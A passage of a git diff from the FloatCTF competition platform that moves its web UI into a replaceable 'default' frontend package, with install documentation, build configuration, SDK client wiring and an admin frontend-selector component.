直调时用专用非特权身份(默认 `65534:65534`)。源码与输出目录会被暂存并 + `chown` 给该身份,因此**不会**为了构建去改你原仓库的权限; +- 制品目录会逐个文件用 `lstat` 校验(拒绝符号链接/硬链接/FIFO/socket/设备文件), + `frontend.json` / `entry` / `styles` 必须是普通文件 —— 归档、源码构建、预构建目录 + 走**同一套**边界。 + +但请注意:**隔离降低的是宿主风险,不会让浏览器 JS 变得可信**(见 +[ARCHITECTURE.md §7](./ARCHITECTURE.md))。 + +`build` 段的三个字段是**真实生效**的契约(不是文档摆设): + +```jsonc +"build": { "packageManager": "auto", "script": "build:floatctf", "outputDir": "out-ui" } +``` + +- `packageManager`: `auto` 按 lockfile 判定,也可显式 `pnpm|npm|yarn`; +- `script`: package.json 里的**脚本名**(形如 `[A-Za-z0-9:_-]+`,绝不接受 shell 片段); +- `outputDir`: 安全相对目录;构建容器只复制这个目录。 + +若构建没有产出 `frontend.json`,管理器会从源码 manifest **生成**一个只含运行时字段的 +制品 manifest(剥掉 `build`),并按制品契约复核后才安装。 + +## 5. 常见问题 + +| 现象 | 原因 / 处理 | +|------|-------------| +| 整页显示"FloatCTF 界面加载失败"并给出原因 | bootstrap 的兜底页:按页面上的失败原因修(最常见:制品路径写错、契约 major 不匹配、bundle 引用了 `process`) | +| 改了制品但刷新没变化 | 版本化资产是 `immutable` 长缓存:**发布新版本号**(同版本替换只用于平台重部署,浏览器仍可能拿旧缓存) | +| 管理端选择器里看不到我的前端 | 注册表里没有它:确认 `frontend.sh install` 成功、`frontend.sh list` 能看到 | +| 选择器里我的前端被禁用 | 契约不兼容(`compatibility.frontendRuntime` / `apiContract` 与平台不一致) | +| `frontend.sh install` 报 "已存在同 ID 同版本但内容不同" | 资产不可变(immutable 长缓存):**发新版本号**;没有 `--reinstall` 这类例外 | +| `frontend.sh remove ` 报 "该版本是 currentVersion" | 显式指针:先 `frontend.sh set-current <其它版本>` 再删除 | +| 跨源请求被浏览器拦 | 把 dev server 的源加入后端 TOML 的 `[cors].allowed_origins` | + +## 6. 生产形态验证(不启动整套生产) + +想在本地验证"引导页 + 注册表 + 版本化资产 + Caddy 路由"的真实行为: + +```bash +pnpm run build:packages && pnpm run build:web # 构建 bootstrap 与 Default Frontend +./scripts/package-web-dist.sh /tmp/web-dist.tar.gz +./scripts/verify-release-frontend.sh /tmp/web-dist.tar.gz + +export FLOATCTF_HOME=/tmp/fcft-home && mkdir -p "$FLOATCTF_HOME" +cp apps/web/dist -r "$FLOATCTF_HOME/web" +./scripts/frontend.sh install /tmp/web-dist.tar.gz --platform --make-current +# 然后用与 scripts/install.sh 内嵌模板一致的 Caddyfile 起一个 Caddy, +# 把 $FLOATCTF_HOME/{web,frontends} 只读挂载进去即可。 +``` diff --git a/apps/web/.cta.json b/frontends/default/.cta.json similarity index 100% rename from apps/web/.cta.json rename to frontends/default/.cta.json diff --git a/frontends/default/.gitignore b/frontends/default/.gitignore new file mode 100644 index 00000000..c0951b07 --- /dev/null +++ b/frontends/default/.gitignore @@ -0,0 +1,9 @@ +# Default Frontend 的可再生构建产物 +node_modules +dist +dist-ssr +.tanstack +*.local +.env +# TanStack Router 的路由树由 Vite 插件生成(mise run dev / build 会重建) +src/routeTree.gen.ts diff --git a/frontends/default/biome.json b/frontends/default/biome.json new file mode 100644 index 00000000..aea22a9d --- /dev/null +++ b/frontends/default/biome.json @@ -0,0 +1,51 @@ +{ + "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", + "vcs": { + "enabled": false, + "clientKind": "git", + "useIgnoreFile": false + }, + "files": { + "ignoreUnknown": false, + "ignore": ["src/routeTree.gen.ts", "dist"], + "include": ["src/*", ".vscode/*", "index.html", "vite.config.js"] + }, + "formatter": { + "enabled": true, + "indentStyle": "tab" + }, + "organizeImports": { + "enabled": true + }, + "linter": { + "enabled": true, + "rules": { + "recommended": true, + "style": { + "noNonNullAssertion": "off", + "noUnusedTemplateLiteral": "off", + "useImportType": "off", + "useTemplate": "off" + }, + "a11y": { + "useKeyWithClickEvents": "off", + "useSemanticElements": "off", + "useButtonType": "off" + }, + "complexity": { + "noForEach": "off" + }, + "correctness": { + "useExhaustiveDependencies": "off" + }, + "suspicious": { + "noExplicitAny": "off" + } + } + }, + "javascript": { + "formatter": { + "quoteStyle": "double" + } + } +} diff --git a/frontends/default/index.html b/frontends/default/index.html new file mode 100644 index 00000000..b3f201a1 --- /dev/null +++ b/frontends/default/index.html @@ -0,0 +1,21 @@ + + + + + + + + + + + FloatCTF + + +
+ + + + diff --git a/frontends/default/package.json b/frontends/default/package.json new file mode 100644 index 00000000..451c4209 --- /dev/null +++ b/frontends/default/package.json @@ -0,0 +1,74 @@ +{ + "name": "@floatctf/frontend-default", + "version": "1.0.0", + "description": "The official FloatCTF frontend: the complete current UI (React + TanStack Router + Primer)", + "license": "AGPL-3.0-only", + "private": true, + "type": "module", + "scripts": { + "dev": "vite --port 13000", + "start": "vite --port 13000", + "build": "vite build && tsc --noEmit", + "build:artifact": "vite build", + "serve": "vite preview", + "test": "vitest run --passWithNoTests", + "format": "biome format", + "lint": "biome lint", + "check": "biome check", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@emotion/is-prop-valid": "1.2.2", + "@floatctf/frontend-runtime": "workspace:*", + "@floatctf/react": "workspace:*", + "@floatctf/sdk": "workspace:*", + "@faker-js/faker": "^9.6.0", + "@primer/css": "^22.0.2", + "@primer/octicons-react": "^19.15.5", + "@primer/primitives": "^11.1.0", + "@primer/react": "^37.31.0", + "@tailwindcss/vite": "^4.0.6", + "@tanstack/match-sorter-utils": "^8.19.4", + "@tanstack/react-devtools": "^0.2.2", + "@tanstack/react-query": "^5.66.5", + "@tanstack/react-query-devtools": "^5.84.2", + "@tanstack/react-router": "^1.130.2", + "@tanstack/react-router-devtools": "^1.131.5", + "@tanstack/react-table": "^8.21.2", + "@tanstack/router-plugin": "^1.121.2", + "@types/node": "^24.5.0", + "@uiw/react-md-editor": "^4.0.8", + "@xterm/addon-fit": "^0.10.0", + "@xterm/xterm": "^5.5.0", + "ahooks": "^3.9.5", + "axios": "^1.11.0", + "dayjs": "^1.11.13", + "dayjs-plugin-utc": "^0.1.2", + "mermaid": "^11.12.0", + "react": "^19.0.0", + "react-dom": "^19.0.0", + "react-image-crop": "^11.0.8", + "recharts": "^3.2.0", + "rehype-rewrite": "^4.0.2", + "styled-components": "^6.1.19", + "ts-pattern": "^5.8.0", + "zod": "^4.1.13", + "zustand": "^5.0.8" + }, + "devDependencies": { + "@biomejs/biome": "1.9.4", + "@testing-library/dom": "^10.4.0", + "@testing-library/react": "^16.2.0", + "@types/react": "^19.0.8", + "@types/react-dom": "^19.0.3", + "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.21", + "jsdom": "^26.0.0", + "postcss": "^8.5.6", + "tailwindcss": "^4.0.6", + "typescript": "^5.7.2", + "vite": "^6.3.5", + "vitest": "^3.0.5", + "web-vitals": "^4.2.4" + } +} diff --git a/frontends/default/src/api/client.ts b/frontends/default/src/api/client.ts new file mode 100644 index 00000000..4a2128dd --- /dev/null +++ b/frontends/default/src/api/client.ts @@ -0,0 +1,39 @@ +/** + * **Default Frontend 的 SDK 接线层**(前端拥有,SDK 不拥有)。 + * + * 这里做三件事——**全部是 UI 侧决策**,SDK 一概不参与: + * 1. token 从哪来:Zustand `AuthStore`(含既有 localStorage 兼容) + * 2. 401 之后干什么:清对应 token + 跳转到既有登录入口(选手 `/`、管理 `/admin`) + * 3. 暴露绑定好的客户端给页面使用 + * + * 迁移说明:这一段逻辑原先散在 `apps/web/src/api/axios.ts` 里(直接 import router + * 与 AuthStore)。现在传输机制在 `@floatctf/sdk`,**UI 反应留在这里**, + * 因此外部前端可以完全换成自己的写法(Context、内存、别的状态库)。 + */ + +import { createFloatCTFClient } from "@floatctf/sdk"; + +import { router } from "@/router"; +import { useAuthStore } from "@/stores/AuthStore"; +import { API_URL } from "@/config"; + +export const client = createFloatCTFClient({ + baseUrl: API_URL, + getUserToken: () => useAuthStore.getState().token, + getAdminToken: () => useAuthStore.getState().adminToken, + onUnauthorized: ({ scope, error }) => { + // 与迁移前逐字一致的行为:清 token → 回到该端的登录入口。 + if (scope === "admin") { + useAuthStore.getState().removeAdminToken(); + void router.navigate({ to: "/admin" }); + } else { + useAuthStore.getState().removeToken(); + void router.navigate({ to: "/" }); + } + console.log(error); + }, + onError: (error) => { + // 迁移前 axios 拦截器会 console.log(error);保持同样的可见性,不改变行为。 + console.log(error); + }, +}); diff --git a/frontends/default/src/api/index.ts b/frontends/default/src/api/index.ts new file mode 100644 index 00000000..310543b8 --- /dev/null +++ b/frontends/default/src/api/index.ts @@ -0,0 +1,78 @@ +/** + * `@/api` —— Default Frontend 的领域 API 门面。 + * + * 客户端实现(传输、错误归一化、领域方法)全部来自 `@floatctf/sdk`; + * 这个文件只是"把**本前端自己的**客户端 + 本前端的接线"暴露成页面直接可用的形状, + * 因此页面的 `import { serviceApi, adminApi } from "@/api"` 语义与迁移前一致。 + * + * **实例归属**:这里导出的每个值都绑定到 `./client` 里那**一个** SDK 客户端实例 + * (`@floatctf/sdk` 自身没有任何模块级绑定),因此页面拿到的是本前端的传输, + * 不可能"串"到别的客户端上。 + */ + +import { client } from "./client"; + +/** 选手端 API(与迁移前的 `serviceApi` 形状一致)。 */ +export const serviceApi = client.service; + +/** 管理端 API(与迁移前的 `adminApi` 形状一致)。 */ +export const adminApi = client.admin; + +/** + * 各领域的**实例绑定**具名导出。 + * + * 页面历史上直接从 `@floatctf/sdk` 具名导入这些对象;SDK 现在不再提供 + * 全局单例(客户端必须显式创建),因此它们统一由本前端自己的实例提供。 + */ +export const awdPlayerApi = client.awd.player; +export const awdAdminApi = client.awd.admin; +export const awdpPlayerApi = client.awdp.player; +export const awdpAdminApi = client.awdp.admin; +export const awdpRunApi = client.awdp.runs; + +/** 单个领域模块(页面按需具名导入,全部绑定本实例)。 */ +export const instanceAdminApi = client.admin.instances; +export const eventAdminApi = client.admin.events; +export const settingAdminApi = client.admin.settings; +export const challengeAdminApi = client.admin.challenges; +export const userAdminApi = client.admin.users; +export const eventChallengeAdminApi = client.admin.event_challenges; +export const eventUserAdminApi = client.admin.event_users; +export const eventAnnouncementAdminApi = client.admin.event_announcements; +export const eventWriteupAdminApi = client.admin.event_writeups; +export const eventTeamAdminApi = client.admin.event_teams; +export const eventLogAdminApi = client.admin.event_logs; +export const dashboardAdminApi = client.admin.dashboard; +export const dockerAdminApi = client.admin.docker; +export const logsAdminApi = client.admin.logs; +export const downloadAdminApi = client.admin.download; +export const databaseAdminApi = client.admin.database; +export const scheduledTaskAdminApi = client.admin.scheduled_tasks; +export const weaponsAdminApi = client.admin.weapons; +export const superAdminApi = client.admin.super_admin; +export const systemAdminApi = client.admin.system; +export const discussionAdminApi = client.admin.discussions; +export const announcementAdminApi = client.admin.announcements; +export const adminLoginFn = client.admin.login; +export const userServiceApi = client.service.users; +export const eventServiceApi = client.service.events; +export const challengeServiceApi = client.service.challenges; +export const instanceServiceApi = client.service.instances; +export const submitServiceApi = client.service.submit; +export const solveServiceApi = client.service.solves; +export const weaponsServiceApi = client.service.weapons; +export const announcementServiceApi = client.service.announcements; +export const uploadsServiceApi = client.service.uploads; +export const discussionServiceApi = client.service.discussions; + +export { client }; +export type { FloatCTFClient } from "@floatctf/sdk"; + +/** Docker/DTO 类型(迁移前由 `@/api` 再导出,保持调用方不变)。 */ +export type { + ContainerInfo, + FloatDockerContainer, + ImageInfo, + NetworkInfo, + PortInfo, +} from "@floatctf/sdk"; diff --git a/frontends/default/src/api/react.ts b/frontends/default/src/api/react.ts new file mode 100644 index 00000000..2bcdd67a --- /dev/null +++ b/frontends/default/src/api/react.ts @@ -0,0 +1,34 @@ +/** + * Default Frontend 的 React 绑定接线(pages 通过 `@/api/react` 使用)。 + * + * `@floatctf/react` 是**可选**的 headless 包:它不知道 token 存在哪里,也不知道 + * 用哪个状态库。这里把本前端的 Zustand 选择器注入进去,得到与迁移前 + * `@/hooks/*`、`@/api/queries` **同名同签名**的 hook 与 query 工厂, + * 因此页面代码零改动。 + * + * 非 React 前端完全不使用本文件——它们直接用 `@floatctf/sdk`。 + */ + +import { createFloatCTFReact } from "@floatctf/react"; + +import { useAuthStore } from "@/stores/AuthStore"; +import { client } from "./client"; + +const bindings = createFloatCTFReact({ + client, + useUserToken: () => useAuthStore((s) => s.token), + useAdminToken: () => useAuthStore((s) => s.adminToken), +}); + +export const { + // 实时事件流 + useAwdEventStream, + useAdminAwdEventStream, + useAwdpEventStream, + useAwdpRunStream, + // query options 工厂 + eventInfoQueryOptions, + challengeQueryOptions, + challengeInstanceQueryOptions, + systemInformationQueryOptions, +} = bindings; diff --git a/apps/web/src/components/ActionSelect.tsx b/frontends/default/src/components/ActionSelect.tsx similarity index 98% rename from apps/web/src/components/ActionSelect.tsx rename to frontends/default/src/components/ActionSelect.tsx index 2b817e6e..d9585eec 100644 --- a/apps/web/src/components/ActionSelect.tsx +++ b/frontends/default/src/components/ActionSelect.tsx @@ -1,4 +1,4 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { XIcon } from "@primer/octicons-react"; import { Autocomplete, Button, FormControl, TextInput } from "@primer/react"; import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; diff --git a/apps/web/src/components/EventStatusBadge.tsx b/frontends/default/src/components/EventStatusBadge.tsx similarity index 100% rename from apps/web/src/components/EventStatusBadge.tsx rename to frontends/default/src/components/EventStatusBadge.tsx diff --git a/apps/web/src/components/FilterBar.tsx b/frontends/default/src/components/FilterBar.tsx similarity index 100% rename from apps/web/src/components/FilterBar.tsx rename to frontends/default/src/components/FilterBar.tsx diff --git a/apps/web/src/components/Header.tsx b/frontends/default/src/components/Header.tsx similarity index 98% rename from apps/web/src/components/Header.tsx rename to frontends/default/src/components/Header.tsx index 5f4491f3..43f993ea 100644 --- a/apps/web/src/components/Header.tsx +++ b/frontends/default/src/components/Header.tsx @@ -1,9 +1,10 @@ -import { userServiceApi } from "@/api/service"; + import { useAppNavigate } from "@/navigation"; import { useAuthStore } from "@/stores/AuthStore"; import { Button } from "@primer/react"; import { useQuery } from "@tanstack/react-query"; import { useEffect } from "react"; +import { userServiceApi } from "@/api"; export interface GenericHeaderProps extends React.HTMLAttributes { diff --git a/apps/web/src/components/MDPlusEditor.tsx b/frontends/default/src/components/MDPlusEditor.tsx similarity index 99% rename from apps/web/src/components/MDPlusEditor.tsx rename to frontends/default/src/components/MDPlusEditor.tsx index ddb64b47..ae76fe3e 100644 --- a/apps/web/src/components/MDPlusEditor.tsx +++ b/frontends/default/src/components/MDPlusEditor.tsx @@ -1,4 +1,4 @@ -import { uploadsServiceApi } from "@/api/service"; + import { ImageIcon, UploadIcon } from "@primer/octicons-react"; import { Button } from "@primer/react"; import MDEditor, { @@ -17,6 +17,7 @@ import { useState, } from "react"; import { getCodeString } from "rehype-rewrite"; +import { uploadsServiceApi } from "@/api"; const randomid = () => Number.parseInt(String(Math.random() * 1e15), 10).toString(36); diff --git a/apps/web/src/components/MsgBanner.tsx b/frontends/default/src/components/MsgBanner.tsx similarity index 100% rename from apps/web/src/components/MsgBanner.tsx rename to frontends/default/src/components/MsgBanner.tsx diff --git a/apps/web/src/components/MsgInlineBanner.tsx b/frontends/default/src/components/MsgInlineBanner.tsx similarity index 100% rename from apps/web/src/components/MsgInlineBanner.tsx rename to frontends/default/src/components/MsgInlineBanner.tsx diff --git a/apps/web/src/components/RouteLoading.tsx b/frontends/default/src/components/RouteLoading.tsx similarity index 100% rename from apps/web/src/components/RouteLoading.tsx rename to frontends/default/src/components/RouteLoading.tsx diff --git a/apps/web/src/components/RouterUnderlineNavItem.tsx b/frontends/default/src/components/RouterUnderlineNavItem.tsx similarity index 100% rename from apps/web/src/components/RouterUnderlineNavItem.tsx rename to frontends/default/src/components/RouterUnderlineNavItem.tsx diff --git a/apps/web/src/components/SideBar.test.tsx b/frontends/default/src/components/SideBar.test.tsx similarity index 100% rename from apps/web/src/components/SideBar.test.tsx rename to frontends/default/src/components/SideBar.test.tsx diff --git a/apps/web/src/components/SideBar.tsx b/frontends/default/src/components/SideBar.tsx similarity index 100% rename from apps/web/src/components/SideBar.tsx rename to frontends/default/src/components/SideBar.tsx diff --git a/apps/web/src/components/SubmitWriteup.tsx b/frontends/default/src/components/SubmitWriteup.tsx similarity index 100% rename from apps/web/src/components/SubmitWriteup.tsx rename to frontends/default/src/components/SubmitWriteup.tsx diff --git a/apps/web/src/components/Table.tsx b/frontends/default/src/components/Table.tsx similarity index 99% rename from apps/web/src/components/Table.tsx rename to frontends/default/src/components/Table.tsx index 5b9750b3..126983bd 100644 --- a/apps/web/src/components/Table.tsx +++ b/frontends/default/src/components/Table.tsx @@ -1,4 +1,4 @@ -import type { QueryParams, UniResponse } from "@/api/axios"; +import type { QueryParams, UniResponse } from "@floatctf/sdk"; import { diffToPatch } from "@/util"; import { KebabHorizontalIcon } from "@primer/octicons-react"; import { diff --git a/apps/web/src/components/Truncate.tsx b/frontends/default/src/components/Truncate.tsx similarity index 100% rename from apps/web/src/components/Truncate.tsx rename to frontends/default/src/components/Truncate.tsx diff --git a/apps/web/src/components/UnderlineNavButton.tsx b/frontends/default/src/components/UnderlineNavButton.tsx similarity index 100% rename from apps/web/src/components/UnderlineNavButton.tsx rename to frontends/default/src/components/UnderlineNavButton.tsx diff --git a/apps/web/src/components/__tests__/RouterUnderlineNavItem.test.tsx b/frontends/default/src/components/__tests__/RouterUnderlineNavItem.test.tsx similarity index 100% rename from apps/web/src/components/__tests__/RouterUnderlineNavItem.test.tsx rename to frontends/default/src/components/__tests__/RouterUnderlineNavItem.test.tsx diff --git a/apps/web/src/components/__tests__/UnderlineNavButton.test.tsx b/frontends/default/src/components/__tests__/UnderlineNavButton.test.tsx similarity index 100% rename from apps/web/src/components/__tests__/UnderlineNavButton.test.tsx rename to frontends/default/src/components/__tests__/UnderlineNavButton.test.tsx diff --git a/apps/web/src/components/admin/EventInstancesTable.tsx b/frontends/default/src/components/admin/EventInstancesTable.tsx similarity index 96% rename from apps/web/src/components/admin/EventInstancesTable.tsx rename to frontends/default/src/components/admin/EventInstancesTable.tsx index ae7cb759..5653a058 100644 --- a/apps/web/src/components/admin/EventInstancesTable.tsx +++ b/frontends/default/src/components/admin/EventInstancesTable.tsx @@ -1,8 +1,9 @@ import { Label } from "@primer/react"; -import { instanceAdminApi, type AdminInstanceRow } from "@/api/admin/instances"; +import { type AdminInstanceRow } from "@floatctf/sdk"; import { GenericTable } from "@/components"; import { DatetimeToShow } from "@/util"; +import { instanceAdminApi } from "@/api"; /** * Admin 赛事 Instance Tab 共享组件(归一化 event_instances 视图)。 diff --git a/frontends/default/src/components/admin/FrontendSelector.tsx b/frontends/default/src/components/admin/FrontendSelector.tsx new file mode 100644 index 00000000..07aed897 --- /dev/null +++ b/frontends/default/src/components/admin/FrontendSelector.tsx @@ -0,0 +1,260 @@ +import { + Button, + FormControl, + Heading, + Label, + Select, + Spinner, + Text, +} from "@primer/react"; +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; +import { + API_CONTRACT_VERSION, + DEFAULT_REGISTRY_URL, + FRONTEND_RUNTIME_VERSION, + type FloatCTFRegistry, + parseRegistry, +} from "@floatctf/frontend-runtime"; +import type { SettingsDto } from "@floatctf/sdk"; +import { useCallback, useEffect, useMemo, useState } from "react"; + +import { adminApi } from "@/api"; +import { useMsgBanner } from "@/components"; + +/** 平台设置键:当前生效的前端 ID(与后端 `FRONTEND_ACTIVE` 一致)。 */ +const FRONTEND_ACTIVE_KEY = "FRONTEND_ACTIVE"; + +const REGISTRY_QUERY_KEY = ["frontend-registry"]; +const ACTIVE_QUERY_KEY = ["frontend-active-setting"]; + +/** + * 已安装前端选择器(管理端 → 设置)。 + * + * 职责**仅限"选择一个已经装好的前端"**: + * - 前端从**本地注册表**读取(`/__floatctf/frontends/registry.json`,同源静态文件) + * - 选择结果写回既有动态设置 `FRONTEND_ACTIVE`(走既有认证设置 API) + * - 切换后提示并一键刷新页面(router 由各前端自己拥有,运行中替换没有意义) + * + * 刻意**不提供**:安装、从 Git 克隆、构建、上传制品。 + * 这些属于运维/CLI(`sudo /var/lib/floatctf/frontend.sh install `)—— + * 浏览器端永远不接受"让后端去克隆并执行构建"的请求(见信任模型与安全审查)。 + * + * Frontend ≠ Theme:一个前端是**完整的可替换浏览器应用**(自己的路由/布局/UX), + * 不是配色方案;配色由某个前端自己决定是否实现(例如 light/dark)。 + */ +export function FrontendSelector() { + const queryClient = useQueryClient(); + const banner = useMsgBanner({ duration: 6000 }); + const [selected, setSelected] = useState(null); + const [switched, setSwitched] = useState(null); + + // ── 本地注册表(真实静态文件;解析用 bootstrap 的同一套权威校验器)── + const registryQuery = useQuery({ + queryKey: REGISTRY_QUERY_KEY, + staleTime: 0, // 新装前端后必须立刻可见:不做缓存 + queryFn: async (): Promise => { + const response = await fetch(DEFAULT_REGISTRY_URL, { + headers: { Accept: "application/json" }, + cache: "no-store", + credentials: "same-origin", + }); + if (!response.ok) { + throw new Error( + `读取本地前端注册表失败:HTTP ${response.status}(${DEFAULT_REGISTRY_URL})`, + ); + } + const parsed = parseRegistry(await response.json()); + if (!parsed.ok) { + throw new Error(`本地前端注册表不合法:${parsed.errors.join(";")}`); + } + return parsed.registry; + }, + }); + + // ── 当前 FRONTEND_ACTIVE(既有设置接口;受保护键,可编辑不可删除)── + const activeQuery = useQuery({ + queryKey: ACTIVE_QUERY_KEY, + queryFn: async (): Promise => { + const response = await adminApi.settings.fetch(); + const rows = response.data ?? []; + return rows.find((row) => row.key === FRONTEND_ACTIVE_KEY) ?? null; + }, + }); + + useEffect(() => { + if (activeQuery.data && selected === null) { + setSelected(activeQuery.data.value); + } + }, [activeQuery.data, selected]); + + const registry = registryQuery.data; + const activeRow = activeQuery.data ?? null; + + const options = useMemo(() => { + if (!registry) return []; + return Object.keys(registry.frontends) + .sort() + .map((id) => { + const entry = registry.frontends[id]; + const version = entry.versions[entry.currentVersion]; + const runtimeOk = version.compatibility.frontendRuntime === FRONTEND_RUNTIME_VERSION; + const apiOk = version.compatibility.apiContract === API_CONTRACT_VERSION; + return { + id, + protected: entry.protected, + version: entry.currentVersion, + name: version.name, + installedAt: version.installedAt, + entry: version.entry, + compatible: runtimeOk && apiOk, + incompatibility: !runtimeOk + ? `需要前端运行时契约 ${version.compatibility.frontendRuntime},平台为 ${FRONTEND_RUNTIME_VERSION}` + : !apiOk + ? `需要 API 契约 ${version.compatibility.apiContract},平台为 ${API_CONTRACT_VERSION}` + : null, + }; + }); + }, [registry]); + + const patchMutation = useMutation({ + mutationFn: (value: string) => { + if (!activeRow) throw new Error("设置 FRONTEND_ACTIVE 不存在,无法切换"); + return adminApi.settings.patch({ id: activeRow.id, value }); + }, + onSuccess: (_data, value) => { + banner.showBanner( + "success", + `已切换到前端「${value}」。前端由浏览器在页面加载时解析,请刷新页面使其生效。`, + ); + setSwitched(value); + void queryClient.invalidateQueries({ queryKey: ACTIVE_QUERY_KEY }); + // 设置表(GenericTable 用 ["Settings", page, limit])也同步刷新。 + void queryClient.invalidateQueries({ queryKey: ["Settings"] }); + }, + onError: (error) => { + banner.showErrorBanner(error); + }, + }); + + const isLoading = registryQuery.isLoading || activeQuery.isLoading; + const currentValue = activeRow?.value ?? ""; + const dirty = selected !== null && selected !== currentValue; + const selectedOption = options.find((option) => option.id === selected); + const reload = useCallback(() => { + window.location.reload(); + }, []); + + return ( +
+ + +
+ + 前端(Frontend) + + + 前端是「完整的可替换浏览器应用」(自己的路由、布局、导航与交互),不是配色主题。 + 这里只能选择一个已经安装好的前端;安装/升级/回滚由运维在宿主执行 + sudo /var/lib/floatctf/frontend.sh install … + ,浏览器不会去克隆仓库或执行构建。 + +
+ + {activeQuery.isError ? ( + + 读取设置 {FRONTEND_ACTIVE_KEY} 失败: + {activeQuery.error instanceof Error ? activeQuery.error.message : String(activeQuery.error)} + + ) : null} + + {registryQuery.isError ? ( + + {registryQuery.error instanceof Error + ? registryQuery.error.message + : String(registryQuery.error)} + + ) : null} + + {!registryQuery.isError && activeQuery.data === null && !activeQuery.isLoading ? ( + + 设置表里没有 {FRONTEND_ACTIVE_KEY}(平台会在启动时自动补种默认值 default)。 + + ) : null} + + {isLoading ? : null} + + {!isLoading && options.length > 0 ? ( + <> + + 当前生效的前端({FRONTEND_ACTIVE_KEY}) + + + 只列出本地注册表里已安装的前端;未安装的 ID 不会被展示,也无法在此提交。 + + + + {selectedOption ? ( +
+ + + + 版本 {selectedOption.version} · 入口{" "} + {selectedOption.entry} · 安装于{" "} + {selectedOption.installedAt} + + {selectedOption.incompatibility ? ( + {selectedOption.incompatibility} + ) : null} +
+ ) : null} + +
+ + + {switched && !dirty ? ( + + 已保存为「{switched}」;刷新页面后由该前端接管界面。 + + ) : null} +
+ + + 破窗恢复:若自定义前端加载失败,任意页面加上{" "} + ?frontend=default{" "} + 即可用内置前端打开(只影响当前这次加载,不改动本设置,也不需要登录)。 + + + ) : null} +
+ ); +} diff --git a/apps/web/src/components/apiErrorMessage.ts b/frontends/default/src/components/apiErrorMessage.ts similarity index 100% rename from apps/web/src/components/apiErrorMessage.ts rename to frontends/default/src/components/apiErrorMessage.ts diff --git a/apps/web/src/components/awd/AwdEventProgress.tsx b/frontends/default/src/components/awd/AwdEventProgress.tsx similarity index 98% rename from apps/web/src/components/awd/AwdEventProgress.tsx rename to frontends/default/src/components/awd/AwdEventProgress.tsx index d8945910..79a51b15 100644 --- a/apps/web/src/components/awd/AwdEventProgress.tsx +++ b/frontends/default/src/components/awd/AwdEventProgress.tsx @@ -1,7 +1,7 @@ import { ProgressBar } from "@primer/react"; import { useEffect, useState } from "react"; -import type { AwdEventStatus, AwdPlayerStatus } from "@/api/awd"; +import type { AwdEventStatus, AwdPlayerStatus } from "@floatctf/sdk"; /** AWD 赛事阶段标签。 */ const PHASE_LABEL: Record = { diff --git a/apps/web/src/components/awd/__tests__/AwdStateLogic.test.ts b/frontends/default/src/components/awd/__tests__/AwdStateLogic.test.ts similarity index 100% rename from apps/web/src/components/awd/__tests__/AwdStateLogic.test.ts rename to frontends/default/src/components/awd/__tests__/AwdStateLogic.test.ts diff --git a/apps/web/src/components/awd/__tests__/EventNetworkPage.test.tsx b/frontends/default/src/components/awd/__tests__/EventNetworkPage.test.tsx similarity index 96% rename from apps/web/src/components/awd/__tests__/EventNetworkPage.test.tsx rename to frontends/default/src/components/awd/__tests__/EventNetworkPage.test.tsx index 37a79552..6b3f0ec4 100644 --- a/apps/web/src/components/awd/__tests__/EventNetworkPage.test.tsx +++ b/frontends/default/src/components/awd/__tests__/EventNetworkPage.test.tsx @@ -18,7 +18,7 @@ import { vi, } from "vitest"; -import type { EventNetworkInfo } from "@/api/awd"; +import type { EventNetworkInfo } from "@floatctf/sdk"; const fixtures = vi.hoisted(() => { const EVENT_ID = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"; @@ -44,9 +44,6 @@ const fixtures = vi.hoisted(() => { }; }); -// @/api/axios 会反向导入 @/main(路由实例),单测中必须隔离,否则会加载整棵路由树。 -vi.mock("@/api/axios", () => ({ admin_api: {}, service_api: {} })); - vi.mock("@/api", () => ({ serviceApi: { downloadFile: vi.fn() }, adminApi: { diff --git a/apps/web/src/components/awd/__tests__/PlatformNetworkPage.test.tsx b/frontends/default/src/components/awd/__tests__/PlatformNetworkPage.test.tsx similarity index 97% rename from apps/web/src/components/awd/__tests__/PlatformNetworkPage.test.tsx rename to frontends/default/src/components/awd/__tests__/PlatformNetworkPage.test.tsx index 952c6b93..92ffc382 100644 --- a/apps/web/src/components/awd/__tests__/PlatformNetworkPage.test.tsx +++ b/frontends/default/src/components/awd/__tests__/PlatformNetworkPage.test.tsx @@ -14,7 +14,7 @@ import type { PlatformNetworkAllocation, PlatformNetworkHealth, PlatformNetworkSettings, -} from "@/api/awd"; +} from "@floatctf/sdk"; const fixtures = vi.hoisted(() => { const settings: PlatformNetworkSettings = { @@ -76,9 +76,6 @@ const fixtures = vi.hoisted(() => { }; }); -// @/api/axios 会反向导入 @/main(路由实例),单测中必须隔离,否则会加载整棵路由树。 -vi.mock("@/api/axios", () => ({ admin_api: {}, service_api: {} })); - vi.mock("@/api", () => ({ serviceApi: { downloadFile: vi.fn() }, adminApi: { diff --git a/apps/web/src/components/awd/__tests__/networkForm.test.ts b/frontends/default/src/components/awd/__tests__/networkForm.test.ts similarity index 100% rename from apps/web/src/components/awd/__tests__/networkForm.test.ts rename to frontends/default/src/components/awd/__tests__/networkForm.test.ts diff --git a/apps/web/src/components/awd/networkForm.ts b/frontends/default/src/components/awd/networkForm.ts similarity index 99% rename from apps/web/src/components/awd/networkForm.ts rename to frontends/default/src/components/awd/networkForm.ts index b23da596..6c7a4c4a 100644 --- a/apps/web/src/components/awd/networkForm.ts +++ b/frontends/default/src/components/awd/networkForm.ts @@ -8,7 +8,7 @@ * - WireGuardPortRange:1 ≤ 起始端口 ≤ 结束端口 ≤ 65535。 */ -import type { PlatformNetworkSettings } from "@/api/awd"; +import type { PlatformNetworkSettings } from "@floatctf/sdk"; const MAX_PREFIX = 32; const MAX_PORT = 65535; diff --git a/apps/web/src/components/awdp/AwdpEventProgress.tsx b/frontends/default/src/components/awdp/AwdpEventProgress.tsx similarity index 98% rename from apps/web/src/components/awdp/AwdpEventProgress.tsx rename to frontends/default/src/components/awdp/AwdpEventProgress.tsx index fbc67855..698d0cc7 100644 --- a/apps/web/src/components/awdp/AwdpEventProgress.tsx +++ b/frontends/default/src/components/awdp/AwdpEventProgress.tsx @@ -2,13 +2,14 @@ import { useQuery } from 